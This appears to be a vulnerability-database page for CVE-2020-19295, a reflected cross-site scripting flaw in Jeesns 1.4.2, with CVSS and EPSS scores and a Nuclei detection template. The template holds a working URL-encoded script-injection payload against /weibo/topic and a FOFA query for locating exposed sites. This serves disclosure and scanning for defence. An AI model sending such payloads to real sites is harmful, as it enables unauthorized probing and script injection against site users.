4.3 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
0.001 Low
EPSS
Percentile
46.9%
Jeesns 1.4.2 is vulnerable to reflected cross-site scripting in the /weibo/topic component and allows attackers to execute arbitrary web scripts or HTML via a crafted payload in the system error message’s text field.
id: CVE-2020-19295
info:
name: Jeesns 1.4.2 - Cross-Site Scripting
author: pikpikcu
severity: medium
description: Jeesns 1.4.2 is vulnerable to reflected cross-site scripting in the /weibo/topic component and allows attackers to execute arbitrary web scripts or HTML via a crafted payload in the system error message's text field.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.
remediation: |
Upgrade Jeesns to the latest version or apply the vendor-provided patch to fix the XSS vulnerability.
reference:
- https://github.com/zchuanzhao/jeesns/issues/21
- https://www.seebug.org/vuldb/ssvid-97950
- https://nvd.nist.gov/vuln/detail/CVE-2020-19295
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2020-19295
cwe-id: CWE-79
epss-score: 0.00116
epss-percentile: 0.45236
cpe: cpe:2.3:a:jeesns:jeesns:1.4.2:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: jeesns
product: jeesns
fofa-query:
- title="Jeesns"
- title="jeesns"
tags: cve,cve2020,jeesns,xss
http:
- method: GET
path:
- "{{BaseURL}}/weibo/topic/%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '</script><script>alert(document.domain)</script>'
- 'JEESNS'
condition: and
case-insensitive: true
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 4b0a0048304602210080011e3426dd3ac9fd09671418d601e156c46235d5a728ee0d16fed158fa0c0a022100a8e57d581e69deae087590cb6cc322a80980b879c3c01483d124eb31ff11926a:922c64590222798bb761d5b6d8e72950
4.3 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
0.001 Low
EPSS
Percentile
46.9%